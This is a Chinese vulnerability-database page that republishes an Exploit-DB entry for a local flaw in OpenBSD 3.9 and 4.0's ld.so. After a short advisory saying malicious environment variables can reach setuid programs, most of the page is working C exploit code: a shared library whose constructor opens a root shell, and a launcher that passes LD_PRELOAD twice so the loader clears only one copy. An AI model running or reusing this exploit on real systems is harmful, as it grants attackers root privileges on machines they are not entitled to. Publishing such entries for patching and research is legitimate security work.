OpenBSD 3.9/4.0 - 'ld.so' Local Environment Variable Clearing

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1056078 漏洞类型
发布时间 2006-11-20 更新时间 2006-11-20
CVE编号 N/A CNNVD-ID N/A
漏洞平台 OpenBSD CVSS评分 N/A
|漏洞来源
https://www.exploit-db.com/exploits/29102
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
/*
source: http://www.securityfocus.com/bid/21188/info

OpenBSD is prone to a local vulnerability that may allow attackers to pass malicious environment variables to applications, bypassing expected security restrictions.

Attackers may be able to exploit this issue to execute arbitrary code with elevated privileges. 

This issue affects OpenBSD 3.9 and 4.0; prior versions may also be affected.
*/

// Example Code
// -------------
// vulnerable root-suid program example:

main()
{
 setuid(0);
 execl("/usr/bin/id","id",0);
}



// evil shared library:

__attribute__ ((constructor)) main()
{
  printf("[+] Hello from shared library land\n");
  execle("/bin/sh","sh",0,0);
}



// openbsd _dl_unsetenv bypass:

#define LIB "LD_PRELOAD=/tmp/lib.so"
main(int argc, char *argv[])
{
  char *e[] = { LIB, LIB, 0 };
  int i; for(i = 0; argv[i]; argv[i] = argv[++i]); /* inspired by
 _dl_unsetenv (: */
  execve(argv[0], argv, e);
}